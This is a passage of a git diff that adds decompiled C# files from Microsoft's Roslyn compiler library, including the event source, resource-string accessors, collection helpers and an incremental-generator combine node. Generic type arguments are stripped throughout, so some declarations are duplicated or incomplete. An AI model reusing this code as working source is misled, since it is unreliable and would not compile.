+ + internal static SyntaxNode? ItemInternalAsNode(SyntaxNode node, int index) + { + GreenNode green = node.Green; + int num = index; + int num2 = 0; + GreenNode slot; + while (true) + { + slot = green.GetSlot(num2); + if (slot != null) + { + int num3 = Occupancy(slot); + if (num < num3) + { + break; + } + num -= num3; + } + num2++; + } + SyntaxNode nodeSlot = node.GetNodeSlot(num2); + if (slot.IsList && nodeSlot != null) + { + return nodeSlot.GetNodeSlot(num); + } + return nodeSlot; + } + + public bool Any() + { + return _count != 0; + } + + public SyntaxNodeOrToken First() + { + if (Any()) + { + return this[0]; + } + throw new InvalidOperationException(); + } + + public SyntaxNodeOrToken Last() + { + if (Any()) + { + return this[_count - 1]; + } + throw new InvalidOperationException(); + } + + public Reversed Reverse() + { + return new Reversed(_node, _count); + } + + public Enumerator GetEnumerator() + { + if (_node == null) + { + return default(Enumerator); + } + return new Enumerator(_node, _count); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_node == null) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(_node, _count); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (_node == null) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(_node, _count); + } + + public override bool Equals(object? obj) + { + if (obj is ChildSyntaxList other) + { + return Equals(other); + } + return false; + } + + public bool Equals(ChildSyntaxList other) + { + return _node == other._node; + } + + public override int GetHashCode() + { + return _node?.GetHashCode() ?? 0; + } + + public static bool operator ==(ChildSyntaxList list1, ChildSyntaxList list2) + { + return list1.Equals(list2); + } + + public static bool operator !=(ChildSyntaxList list1, ChildSyntaxList list2) + { + return !list1.Equals(list2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CodeAnalysisEventSource.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CodeAnalysisEventSource.cs new file mode 100644 index 0000000..c591e7e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CodeAnalysisEventSource.cs @@ -0,0 +1,65 @@ +using System.Diagnostics.Tracing; + +namespace Microsoft.CodeAnalysis; + +[EventSource(Name = "Microsoft-CodeAnalysis-General")] +internal sealed class CodeAnalysisEventSource : EventSource +{ + public static class Keywords + { + public const EventKeywords Performance = (EventKeywords)1L; + + public const EventKeywords Correctness = (EventKeywords)2L; + } + + public static class Tasks + { + public const EventTask GeneratorDriverRunTime = (EventTask)1; + + public const EventTask SingleGeneratorRunTime = (EventTask)2; + + public const EventTask BuildStateTable = (EventTask)3; + } + + public static readonly CodeAnalysisEventSource Log = new CodeAnalysisEventSource(); + + private CodeAnalysisEventSource() + { + } + + [Event(1, Keywords = (EventKeywords)1L, Level = EventLevel.Informational, Opcode = EventOpcode.Start, Task = (EventTask)1)] + internal void StartGeneratorDriverRunTime(string id) + { + WriteEvent(1, id); + } + + [Event(2, Message = "Generators ran for {0} ticks", Keywords = (EventKeywords)1L, Level = EventLevel.Informational, Opcode = EventOpcode.Stop, Task = (EventTask)1)] + internal void StopGeneratorDriverRunTime(long elapsedTicks, string id) + { + WriteEvent(2, elapsedTicks, id); + } + + [Event(3, Keywords = (EventKeywords)1L, Level = EventLevel.Informational, Opcode = EventOpcode.Start, Task = (EventTask)2)] + internal void StartSingleGeneratorRunTime(string generatorName, string assemblyPath, string id) + { + WriteEvent(3, generatorName, assemblyPath, id); + } + + [Event(4, Message = "Generator {0} ran for {2} ticks", Keywords = (EventKeywords)1L, Level = EventLevel.Informational, Opcode = EventOpcode.Stop, Task = (EventTask)2)] + internal void StopSingleGeneratorRunTime(string generatorName, string assemblyPath, long elapsedTicks, string id) + { + WriteEvent(4, new object[4] { generatorName, assemblyPath, elapsedTicks, id }); + } + + [Event(5, Message = "Generator '{0}' failed with exception: {1}", Level = EventLevel.Error)] + internal void GeneratorException(string generatorName, string exception) + { + WriteEvent(5, generatorName, exception); + } + + [Event(6, Message = "Node {0} transformed", Keywords = (EventKeywords)2L, Level = EventLevel.Verbose, Task = (EventTask)3)] + internal void NodeTransform(int nodeHashCode, string name, string tableType, int previousTable, string previousTableContent, int newTable, string newTableContent, int input1, int input2) + { + WriteEvent(6, new object[9] { nodeHashCode, name, tableType, previousTable, previousTableContent, newTable, newTableContent, input1, input2 }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CodeAnalysisResources.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CodeAnalysisResources.cs new file mode 100644 index 0000000..712faea --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CodeAnalysisResources.cs @@ -0,0 +1,444 @@ +using System.Globalization; +using System.Resources; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis; + +internal static class CodeAnalysisResources +{ + private static ResourceManager s_resourceManager; + + internal static ResourceManager ResourceManager => s_resourceManager ?? (s_resourceManager = new ResourceManager(typeof(CodeAnalysisResources))); + + internal static CultureInfo Culture { get; set; } + + internal static string OutputKindNotSupported => GetResourceString("OutputKindNotSupported"); + + internal static string PathReturnedByResolveMetadataFileMustBeAbsolute => GetResourceString("PathReturnedByResolveMetadataFileMustBeAbsolute"); + + internal static string AssemblyMustHaveAtLeastOneModule => GetResourceString("AssemblyMustHaveAtLeastOneModule"); + + internal static string ModuleCopyCannotBeUsedToCreateAssemblyMetadata => GetResourceString("ModuleCopyCannotBeUsedToCreateAssemblyMetadata"); + + internal static string Unresolved => GetResourceString("Unresolved"); + + internal static string Assembly => GetResourceString("Assembly"); + + internal static string Class1 => GetResourceString("Class1"); + + internal static string Constructor => GetResourceString("Constructor"); + + internal static string Delegate1 => GetResourceString("Delegate1"); + + internal static string Enum1 => GetResourceString("Enum1"); + + internal static string Event1 => GetResourceString("Event1"); + + internal static string Field => GetResourceString("Field"); + + internal static string TypeParameter => GetResourceString("TypeParameter"); + + internal static string Interface1 => GetResourceString("Interface1"); + + internal static string Method => GetResourceString("Method"); + + internal static string Module => GetResourceString("Module"); + + internal static string Parameter => GetResourceString("Parameter"); + + internal static string Property => GetResourceString("Property"); + + internal static string Return1 => GetResourceString("Return1"); + + internal static string Struct1 => GetResourceString("Struct1"); + + internal static string CannotCreateReferenceToSubmission => GetResourceString("CannotCreateReferenceToSubmission"); + + internal static string CannotCreateReferenceToModule => GetResourceString("CannotCreateReferenceToModule"); + + internal static string InMemoryAssembly => GetResourceString("InMemoryAssembly"); + + internal static string InMemoryModule => GetResourceString("InMemoryModule"); + + internal static string SizeHasToBePositive => GetResourceString("SizeHasToBePositive"); + + internal static string AssemblyFileNotFound => GetResourceString("AssemblyFileNotFound"); + + internal static string CannotEmbedInteropTypesFromModule => GetResourceString("CannotEmbedInteropTypesFromModule"); + + internal static string CannotAliasModule => GetResourceString("CannotAliasModule"); + + internal static string InvalidAlias => GetResourceString("InvalidAlias"); + + internal static string GetMetadataMustReturnInstance => GetResourceString("GetMetadataMustReturnInstance"); + + internal static string Value_too_large_to_be_represented_as_a_30_bit_unsigned_integer => GetResourceString("Value_too_large_to_be_represented_as_a_30_bit_unsigned_integer"); + + internal static string Arrays_with_more_than_one_dimension_cannot_be_serialized => GetResourceString("Arrays_with_more_than_one_dimension_cannot_be_serialized"); + + internal static string InvalidAssemblyName => GetResourceString("InvalidAssemblyName"); + + internal static string AbsolutePathExpected => GetResourceString("AbsolutePathExpected"); + + internal static string EmptyKeyInPathMap => GetResourceString("EmptyKeyInPathMap"); + + internal static string NullValueInPathMap => GetResourceString("NullValueInPathMap"); + + internal static string CompilationOptionsMustNotHaveErrors => GetResourceString("CompilationOptionsMustNotHaveErrors"); + + internal static string ReturnTypeCannotBeValuePointerbyRefOrOpen => GetResourceString("ReturnTypeCannotBeValuePointerbyRefOrOpen"); + + internal static string ReturnTypeCannotBeVoidByRefOrOpen => GetResourceString("ReturnTypeCannotBeVoidByRefOrOpen"); + + internal static string TypeMustBeSameAsHostObjectTypeOfPreviousSubmission => GetResourceString("TypeMustBeSameAsHostObjectTypeOfPreviousSubmission"); + + internal static string PreviousSubmissionHasErrors => GetResourceString("PreviousSubmissionHasErrors"); + + internal static string InvalidOutputKindForSubmission => GetResourceString("InvalidOutputKindForSubmission"); + + internal static string InvalidCompilationOptions => GetResourceString("InvalidCompilationOptions"); + + internal static string ResourceStreamProviderShouldReturnNonNullStream => GetResourceString("ResourceStreamProviderShouldReturnNonNullStream"); + + internal static string ReferenceResolverShouldReturnReadableNonNullStream => GetResourceString("ReferenceResolverShouldReturnReadableNonNullStream"); + + internal static string EmptyOrInvalidResourceName => GetResourceString("EmptyOrInvalidResourceName"); + + internal static string EmptyOrInvalidFileName => GetResourceString("EmptyOrInvalidFileName"); + + internal static string ResourceDataProviderShouldReturnNonNullStream => GetResourceString("ResourceDataProviderShouldReturnNonNullStream"); + + internal static string FileNotFound => GetResourceString("FileNotFound"); + + internal static string PathReturnedByResolveStrongNameKeyFileMustBeAbsolute => GetResourceString("PathReturnedByResolveStrongNameKeyFileMustBeAbsolute"); + + internal static string TypeMustBeASubclassOfSyntaxAnnotation => GetResourceString("TypeMustBeASubclassOfSyntaxAnnotation"); + + internal static string InvalidModuleName => GetResourceString("InvalidModuleName"); + + internal static string FileSizeExceedsMaximumAllowed => GetResourceString("FileSizeExceedsMaximumAllowed"); + + internal static string NameCannotBeNull => GetResourceString("NameCannotBeNull"); + + internal static string NameCannotBeEmpty => GetResourceString("NameCannotBeEmpty"); + + internal static string NameCannotStartWithWhitespace => GetResourceString("NameCannotStartWithWhitespace"); + + internal static string NameContainsInvalidCharacter => GetResourceString("NameContainsInvalidCharacter"); + + internal static string SpanDoesNotIncludeStartOfLine => GetResourceString("SpanDoesNotIncludeStartOfLine"); + + internal static string SpanDoesNotIncludeEndOfLine => GetResourceString("SpanDoesNotIncludeEndOfLine"); + + internal static string StartMustNotBeNegative => GetResourceString("StartMustNotBeNegative"); + + internal static string EndMustNotBeLessThanStart => GetResourceString("EndMustNotBeLessThanStart"); + + internal static string InvalidContentType => GetResourceString("InvalidContentType"); + + internal static string ExpectedNonEmptyPublicKey => GetResourceString("ExpectedNonEmptyPublicKey"); + + internal static string InvalidSizeOfPublicKeyToken => GetResourceString("InvalidSizeOfPublicKeyToken"); + + internal static string InvalidCharactersInAssemblyName => GetResourceString("InvalidCharactersInAssemblyName"); + + internal static string InvalidCharactersInAssemblyCultureName => GetResourceString("InvalidCharactersInAssemblyCultureName"); + + internal static string StreamMustSupportReadAndSeek => GetResourceString("StreamMustSupportReadAndSeek"); + + internal static string StreamMustSupportRead => GetResourceString("StreamMustSupportRead"); + + internal static string StreamMustSupportWrite => GetResourceString("StreamMustSupportWrite"); + + internal static string PdbStreamUnexpectedWhenEmbedding => GetResourceString("PdbStreamUnexpectedWhenEmbedding"); + + internal static string PdbStreamUnexpectedWhenEmittingMetadataOnly => GetResourceString("PdbStreamUnexpectedWhenEmittingMetadataOnly"); + + internal static string MetadataPeStreamUnexpectedWhenEmittingMetadataOnly => GetResourceString("MetadataPeStreamUnexpectedWhenEmittingMetadataOnly"); + + internal static string IncludingPrivateMembersUnexpectedWhenEmittingToMetadataPeStream => GetResourceString("IncludingPrivateMembersUnexpectedWhenEmittingToMetadataPeStream"); + + internal static string MustIncludePrivateMembersUnlessRefAssembly => GetResourceString("MustIncludePrivateMembersUnlessRefAssembly"); + + internal static string EmbeddingPdbUnexpectedWhenEmittingMetadata => GetResourceString("EmbeddingPdbUnexpectedWhenEmittingMetadata"); + + internal static string CannotTargetNetModuleWhenEmittingRefAssembly => GetResourceString("CannotTargetNetModuleWhenEmittingRefAssembly"); + + internal static string InvalidHash => GetResourceString("InvalidHash"); + + internal static string UnsupportedHashAlgorithm => GetResourceString("UnsupportedHashAlgorithm"); + + internal static string InconsistentLanguageVersions => GetResourceString("InconsistentLanguageVersions"); + + internal static string CoffResourceInvalidRelocation => GetResourceString("CoffResourceInvalidRelocation"); + + internal static string CoffResourceInvalidSectionSize => GetResourceString("CoffResourceInvalidSectionSize"); + + internal static string CoffResourceInvalidSymbol => GetResourceString("CoffResourceInvalidSymbol"); + + internal static string CoffResourceMissingSection => GetResourceString("CoffResourceMissingSection"); + + internal static string IconStreamUnexpectedFormat => GetResourceString("IconStreamUnexpectedFormat"); + + internal static string InvalidCultureName => GetResourceString("InvalidCultureName"); + + internal static string WinRTIdentityCantBeRetargetable => GetResourceString("WinRTIdentityCantBeRetargetable"); + + internal static string PEImageNotAvailable => GetResourceString("PEImageNotAvailable"); + + internal static string AssemblySigningNotSupported => GetResourceString("AssemblySigningNotSupported"); + + internal static string XmlReferencesNotSupported => GetResourceString("XmlReferencesNotSupported"); + + internal static string FailedToResolveRuleSetName => GetResourceString("FailedToResolveRuleSetName"); + + internal static string InvalidRuleSetInclude => GetResourceString("InvalidRuleSetInclude"); + + internal static string CompilerAnalyzerFailure => GetResourceString("CompilerAnalyzerFailure"); + + internal static string CompilerAnalyzerThrows => GetResourceString("CompilerAnalyzerThrows"); + + internal static string AnalyzerDriverFailure => GetResourceString("AnalyzerDriverFailure"); + + internal static string AnalyzerDriverThrows => GetResourceString("AnalyzerDriverThrows"); + + internal static string PEImageDoesntContainManagedMetadata => GetResourceString("PEImageDoesntContainManagedMetadata"); + + internal static string ChangesMustNotOverlap => GetResourceString("ChangesMustNotOverlap"); + + internal static string DiagnosticIdCantBeNullOrWhitespace => GetResourceString("DiagnosticIdCantBeNullOrWhitespace"); + + internal static string SuppressionIdCantBeNullOrWhitespace => GetResourceString("SuppressionIdCantBeNullOrWhitespace"); + + internal static string RuleSetHasDuplicateRules => GetResourceString("RuleSetHasDuplicateRules"); + + internal static string CantCreateModuleReferenceToAssembly => GetResourceString("CantCreateModuleReferenceToAssembly"); + + internal static string CantCreateReferenceToDynamicAssembly => GetResourceString("CantCreateReferenceToDynamicAssembly"); + + internal static string CantCreateReferenceToAssemblyWithoutLocation => GetResourceString("CantCreateReferenceToAssemblyWithoutLocation"); + + internal static string ArgumentCannotBeEmpty => GetResourceString("ArgumentCannotBeEmpty"); + + internal static string ArgumentElementCannotBeNull => GetResourceString("ArgumentElementCannotBeNull"); + + internal static string UnsupportedDiagnosticReported => GetResourceString("UnsupportedDiagnosticReported"); + + internal static string UnsupportedSuppressionReported => GetResourceString("UnsupportedSuppressionReported"); + + internal static string InvalidDiagnosticSuppressionReported => GetResourceString("InvalidDiagnosticSuppressionReported"); + + internal static string NonReportedDiagnosticCannotBeSuppressed => GetResourceString("NonReportedDiagnosticCannotBeSuppressed"); + + internal static string InvalidDiagnosticIdReported => GetResourceString("InvalidDiagnosticIdReported"); + + internal static string InvalidDiagnosticLocationReported => GetResourceString("InvalidDiagnosticLocationReported"); + + internal static string SupportedDiagnosticsHasNullDescriptor => GetResourceString("SupportedDiagnosticsHasNullDescriptor"); + + internal static string SupportedSuppressionsHasNullDescriptor => GetResourceString("SupportedSuppressionsHasNullDescriptor"); + + internal static string The_type_0_is_not_understood_by_the_serialization_binder => GetResourceString("The_type_0_is_not_understood_by_the_serialization_binder"); + + internal static string Cannot_deserialize_type_0 => GetResourceString("Cannot_deserialize_type_0"); + + internal static string Cannot_serialize_type_0 => GetResourceString("Cannot_serialize_type_0"); + + internal static string InvalidNodeToTrack => GetResourceString("InvalidNodeToTrack"); + + internal static string NodeOrTokenOutOfSequence => GetResourceString("NodeOrTokenOutOfSequence"); + + internal static string UnexpectedTypeOfNodeInList => GetResourceString("UnexpectedTypeOfNodeInList"); + + internal static string MissingListItem => GetResourceString("MissingListItem"); + + internal static string InvalidPublicKey => GetResourceString("InvalidPublicKey"); + + internal static string InvalidPublicKeyToken => GetResourceString("InvalidPublicKeyToken"); + + internal static string InvalidDataAtOffset => GetResourceString("InvalidDataAtOffset"); + + internal static string SymWriterNotDeterministic => GetResourceString("SymWriterNotDeterministic"); + + internal static string SymWriterOlderVersionThanRequired => GetResourceString("SymWriterOlderVersionThanRequired"); + + internal static string SymWriterDoesNotSupportSourceLink => GetResourceString("SymWriterDoesNotSupportSourceLink"); + + internal static string RuleSetBadAttributeValue => GetResourceString("RuleSetBadAttributeValue"); + + internal static string RuleSetMissingAttribute => GetResourceString("RuleSetMissingAttribute"); + + internal static string KeepAliveIsNotAnInteger => GetResourceString("KeepAliveIsNotAnInteger"); + + internal static string KeepAliveIsTooSmall => GetResourceString("KeepAliveIsTooSmall"); + + internal static string KeepAliveWithoutShared => GetResourceString("KeepAliveWithoutShared"); + + internal static string MismatchedVersion => GetResourceString("MismatchedVersion"); + + internal static string MissingKeepAlive => GetResourceString("MissingKeepAlive"); + + internal static string AnalyzerTotalExecutionTime => GetResourceString("AnalyzerTotalExecutionTime"); + + internal static string MultithreadedAnalyzerExecutionNote => GetResourceString("MultithreadedAnalyzerExecutionNote"); + + internal static string AnalyzerExecutionTimeColumnHeader => GetResourceString("AnalyzerExecutionTimeColumnHeader"); + + internal static string AnalyzerNameColumnHeader => GetResourceString("AnalyzerNameColumnHeader"); + + internal static string NoAnalyzersFound => GetResourceString("NoAnalyzersFound"); + + internal static string DuplicateAnalyzerInstances => GetResourceString("DuplicateAnalyzerInstances"); + + internal static string UnsupportedAnalyzerInstance => GetResourceString("UnsupportedAnalyzerInstance"); + + internal static string InvalidTree => GetResourceString("InvalidTree"); + + internal static string InvalidAdditionalFile => GetResourceString("InvalidAdditionalFile"); + + internal static string ResourceStreamEndedUnexpectedly => GetResourceString("ResourceStreamEndedUnexpectedly"); + + internal static string SharedArgumentMissing => GetResourceString("SharedArgumentMissing"); + + internal static string ExceptionContext => GetResourceString("ExceptionContext"); + + internal static string AnonymousTypeMemberAndNamesCountMismatch2 => GetResourceString("AnonymousTypeMemberAndNamesCountMismatch2"); + + internal static string AnonymousTypeArgumentCountMismatch2 => GetResourceString("AnonymousTypeArgumentCountMismatch2"); + + internal static string InconsistentSyntaxTreeFeature => GetResourceString("InconsistentSyntaxTreeFeature"); + + internal static string ReferenceOfTypeIsInvalid1 => GetResourceString("ReferenceOfTypeIsInvalid1"); + + internal static string MetadataRefNotFoundToRemove1 => GetResourceString("MetadataRefNotFoundToRemove1"); + + internal static string TupleElementNameCountMismatch => GetResourceString("TupleElementNameCountMismatch"); + + internal static string TupleElementNameEmpty => GetResourceString("TupleElementNameEmpty"); + + internal static string TupleElementLocationCountMismatch => GetResourceString("TupleElementLocationCountMismatch"); + + internal static string TupleElementNullableAnnotationCountMismatch => GetResourceString("TupleElementNullableAnnotationCountMismatch"); + + internal static string TuplesNeedAtLeastTwoElements => GetResourceString("TuplesNeedAtLeastTwoElements"); + + internal static string CompilationReferencesAssembliesWithDifferentAutoGeneratedVersion => GetResourceString("CompilationReferencesAssembliesWithDifferentAutoGeneratedVersion"); + + internal static string TupleUnderlyingTypeMustBeTupleCompatible => GetResourceString("TupleUnderlyingTypeMustBeTupleCompatible"); + + internal static string UnrecognizedResourceFileFormat => GetResourceString("UnrecognizedResourceFileFormat"); + + internal static string SourceTextCannotBeEmbedded => GetResourceString("SourceTextCannotBeEmbedded"); + + internal static string StreamIsTooLong => GetResourceString("StreamIsTooLong"); + + internal static string EmbeddedTextsRequirePdb => GetResourceString("EmbeddedTextsRequirePdb"); + + internal static string TheStreamCannotBeWrittenTo => GetResourceString("TheStreamCannotBeWrittenTo"); + + internal static string ElementIsExpected => GetResourceString("ElementIsExpected"); + + internal static string SeparatorIsExpected => GetResourceString("SeparatorIsExpected"); + + internal static string TheStreamCannotBeReadFrom => GetResourceString("TheStreamCannotBeReadFrom"); + + internal static string Deserialization_reader_for_0_read_incorrect_number_of_values => GetResourceString("Deserialization_reader_for_0_read_incorrect_number_of_values"); + + internal static string Stream_contains_invalid_data => GetResourceString("Stream_contains_invalid_data"); + + internal static string InvalidDiagnosticSpanReported => GetResourceString("InvalidDiagnosticSpanReported"); + + internal static string ExceptionEnablingMulticoreJit => GetResourceString("ExceptionEnablingMulticoreJit"); + + internal static string NotARootOperation => GetResourceString("NotARootOperation"); + + internal static string OperationHasNullSemanticModel => GetResourceString("OperationHasNullSemanticModel"); + + internal static string InvalidOperationBlockForAnalysisContext => GetResourceString("InvalidOperationBlockForAnalysisContext"); + + internal static string IsSymbolAccessibleBadWithin => GetResourceString("IsSymbolAccessibleBadWithin"); + + internal static string IsSymbolAccessibleWrongAssembly => GetResourceString("IsSymbolAccessibleWrongAssembly"); + + internal static string OperationMustNotBeControlFlowGraphPart => GetResourceString("OperationMustNotBeControlFlowGraphPart"); + + internal static string A_language_name_cannot_be_specified_for_this_option => GetResourceString("A_language_name_cannot_be_specified_for_this_option"); + + internal static string A_language_name_must_be_specified_for_this_option => GetResourceString("A_language_name_must_be_specified_for_this_option"); + + internal static string WRN_InvalidSeverityInAnalyzerConfig => GetResourceString("WRN_InvalidSeverityInAnalyzerConfig"); + + internal static string WRN_InvalidSeverityInAnalyzerConfig_Title => GetResourceString("WRN_InvalidSeverityInAnalyzerConfig_Title"); + + internal static string SuppressionDiagnosticDescriptorTitle => GetResourceString("SuppressionDiagnosticDescriptorTitle"); + + internal static string SuppressionDiagnosticDescriptorMessage => GetResourceString("SuppressionDiagnosticDescriptorMessage"); + + internal static string ModuleHasInvalidAttributes => GetResourceString("ModuleHasInvalidAttributes"); + + internal static string UnableToDetermineSpecificCauseOfFailure => GetResourceString("UnableToDetermineSpecificCauseOfFailure"); + + internal static string ChangingVersionOfAssemblyReferenceIsNotAllowedDuringDebugging => GetResourceString("ChangingVersionOfAssemblyReferenceIsNotAllowedDuringDebugging"); + + internal static string DisableAnalyzerDiagnosticsMessage => GetResourceString("DisableAnalyzerDiagnosticsMessage"); + + internal static string Single_type_per_generator_0 => GetResourceString("Single_type_per_generator_0"); + + internal static string WRN_MultipleGlobalAnalyzerKeys => GetResourceString("WRN_MultipleGlobalAnalyzerKeys"); + + internal static string WRN_MultipleGlobalAnalyzerKeys_Title => GetResourceString("WRN_MultipleGlobalAnalyzerKeys_Title"); + + internal static string HintNameUniquePerGenerator => GetResourceString("HintNameUniquePerGenerator"); + + internal static string HintNameInvalidChar => GetResourceString("HintNameInvalidChar"); + + internal static string SourceTextRequiresEncoding => GetResourceString("SourceTextRequiresEncoding"); + + internal static string AssemblyReferencesNetFramework => GetResourceString("AssemblyReferencesNetFramework"); + + internal static string WRN_InvalidGlobalSectionName => GetResourceString("WRN_InvalidGlobalSectionName"); + + internal static string WRN_InvalidGlobalSectionName_Title => GetResourceString("WRN_InvalidGlobalSectionName_Title"); + + internal static string ChangesMustBeWithinBoundsOfSourceText => GetResourceString("ChangesMustBeWithinBoundsOfSourceText"); + + internal static string EncCannotResumeSuspendedAsyncMethod => GetResourceString("EncCannotResumeSuspendedAsyncMethod"); + + internal static string EncCannotResumeSuspendedIteratorMethod => GetResourceString("EncCannotResumeSuspendedIteratorMethod"); + + internal static string GeneratorNameColumnHeader => GetResourceString("GeneratorNameColumnHeader"); + + internal static string GeneratorTotalExecutionTime => GetResourceString("GeneratorTotalExecutionTime"); + + internal static string BadBuiltInOps1 => GetResourceString("BadBuiltInOps1"); + + internal static string BadBuiltInOps2 => GetResourceString("BadBuiltInOps2"); + + internal static string BadBuiltInOps3 => GetResourceString("BadBuiltInOps3"); + + internal static string HintNameInvalidSegment => GetResourceString("HintNameInvalidSegment"); + + internal static string MethodSymbolExpected => GetResourceString("MethodSymbolExpected"); + + internal static string InvalidInstrumentationKind => GetResourceString("InvalidInstrumentationKind"); + + internal static string LineCannotBeGreaterThanEnd => GetResourceString("LineCannotBeGreaterThanEnd"); + + internal static string InternalsVisibleToHeaderSummary => GetResourceString("InternalsVisibleToHeaderSummary"); + + internal static string InternalsVisibleToCurrentAssembly => GetResourceString("InternalsVisibleToCurrentAssembly"); + + internal static string InternalsVisibleToReferencedAssembly => GetResourceString("InternalsVisibleToReferencedAssembly"); + + internal static string InternalsVisibleToReferencedAssemblyDetails => GetResourceString("InternalsVisibleToReferencedAssemblyDetails"); + + internal static string Nothing => GetResourceString("Nothing"); + + internal static string SigningTempPathUnavailable => GetResourceString("SigningTempPathUnavailable"); + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static string GetResourceString(string resourceKey, string defaultValue = null) + { + return ResourceManager.GetString(resourceKey, Culture); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CodeAnalysisResourcesLocalizableErrorArgument.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CodeAnalysisResourcesLocalizableErrorArgument.cs new file mode 100644 index 0000000..3e0eb30 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CodeAnalysisResourcesLocalizableErrorArgument.cs @@ -0,0 +1,28 @@ +using System; +using System.Globalization; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct CodeAnalysisResourcesLocalizableErrorArgument : IFormattable +{ + private readonly string _targetResourceId; + + internal CodeAnalysisResourcesLocalizableErrorArgument(string targetResourceId) + { + _targetResourceId = targetResourceId; + } + + public override string ToString() + { + return ToString(null, null); + } + + public string ToString(string? format, IFormatProvider? formatProvider) + { + if (_targetResourceId != null) + { + return CodeAnalysisResources.ResourceManager.GetString(_targetResourceId, formatProvider as CultureInfo) ?? string.Empty; + } + return string.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CollectionsExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CollectionsExtensions.cs new file mode 100644 index 0000000..dd8478c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CollectionsExtensions.cs @@ -0,0 +1,35 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis; + +internal static class CollectionsExtensions +{ + internal static bool IsNullOrEmpty([NotNullWhen(false)] this ICollection? collection) + { + if (collection != null) + { + return collection.Count == 0; + } + return true; + } + + internal static bool IsNullOrEmpty([NotNullWhen(false)] this IReadOnlyCollection? collection) + { + if (collection != null) + { + return collection.Count == 0; + } + return true; + } + + internal static bool IsNullOrEmpty([NotNullWhen(false)] this ImmutableHashSet? hashSet) + { + if (hashSet != null) + { + return hashSet.Count == 0; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CombineNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CombineNode.cs new file mode 100644 index 0000000..84d4e74 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CombineNode.cs @@ -0,0 +1,94 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class CombineNode : IIncrementalGeneratorNode<(TInput1, TInput2)> +{ + private readonly IIncrementalGeneratorNode _input1; + + private readonly IIncrementalGeneratorNode _input2; + + private readonly IEqualityComparer<(TInput1, TInput2)>? _comparer; + + private readonly string? _name; + + public CombineNode(IIncrementalGeneratorNode input1, IIncrementalGeneratorNode input2, IEqualityComparer<(TInput1, TInput2)>? comparer = null, string? name = null) + { + _input1 = input1; + _input2 = input2; + _comparer = comparer; + _name = name; + } + + public NodeStateTable<(TInput1, TInput2)> UpdateStateTable(DriverStateTable.Builder graphState, NodeStateTable<(TInput1, TInput2)>? previousTable, CancellationToken cancellationToken) + { + NodeStateTable latestStateTableForNode = graphState.GetLatestStateTableForNode(_input1); + NodeStateTable latestStateTableForNode2 = graphState.GetLatestStateTableForNode(_input2); + if (latestStateTableForNode.IsCached && latestStateTableForNode2.IsCached && previousTable != null) + { + this.LogTables<(TInput1, TInput2), TInput1, TInput2>(_name, previousTable, previousTable, latestStateTableForNode, latestStateTableForNode2); + if (graphState.DriverState.TrackIncrementalSteps) + { + return RecordStepsForCachedTable(graphState, previousTable, latestStateTableForNode, latestStateTableForNode2); + } + return previousTable; + } + int totalEntryItemCount = latestStateTableForNode.GetTotalEntryItemCount(); + NodeStateTable<(TInput1, TInput2)>.Builder builder = graphState.CreateTableBuilder<(TInput1, TInput2)>(previousTable, _name, _comparer, totalEntryItemCount); + bool isCached = latestStateTableForNode2.IsCached; + (TInput2 item, IncrementalGeneratorRunStep? step) tuple = latestStateTableForNode2.Single(); + TInput2 item = tuple.item; + IncrementalGeneratorRunStep item2 = tuple.step; + NodeStateTable.Enumerator enumerator = latestStateTableForNode.GetEnumerator(); + while (enumerator.MoveNext()) + { + NodeStateEntry current = enumerator.Current; + SharedStopwatch sharedStopwatch = SharedStopwatch.StartNew(); + ImmutableArray<(IncrementalGeneratorRunStep, int)> stepInputs = (builder.TrackIncrementalSteps ? ImmutableArray.Create<(IncrementalGeneratorRunStep, int)>((current.Step, current.OutputIndex), (item2, 0)) : default(ImmutableArray<(IncrementalGeneratorRunStep, int)>)); + EntryState entryState = ((current.State != EntryState.Cached) ? current.State : ((!isCached) ? EntryState.Modified : EntryState.Cached)); + EntryState entryState2 = entryState; + (TInput1, TInput2) value = (current.Item, item); + if (entryState2 != EntryState.Modified || _comparer == null || !builder.TryModifyEntry(value, _comparer, sharedStopwatch.Elapsed, stepInputs, entryState2)) + { + builder.AddEntry(value, entryState2, sharedStopwatch.Elapsed, stepInputs, entryState2); + } + } + NodeStateTable<(TInput1, TInput2)> nodeStateTable = builder.ToImmutableAndFree(); + this.LogTables<(TInput1, TInput2), TInput1, TInput2>(_name, previousTable, nodeStateTable, latestStateTableForNode, latestStateTableForNode2); + return nodeStateTable; + } + + private NodeStateTable<(TInput1, TInput2)> RecordStepsForCachedTable(DriverStateTable.Builder graphState, NodeStateTable<(TInput1, TInput2)> previousTable, NodeStateTable 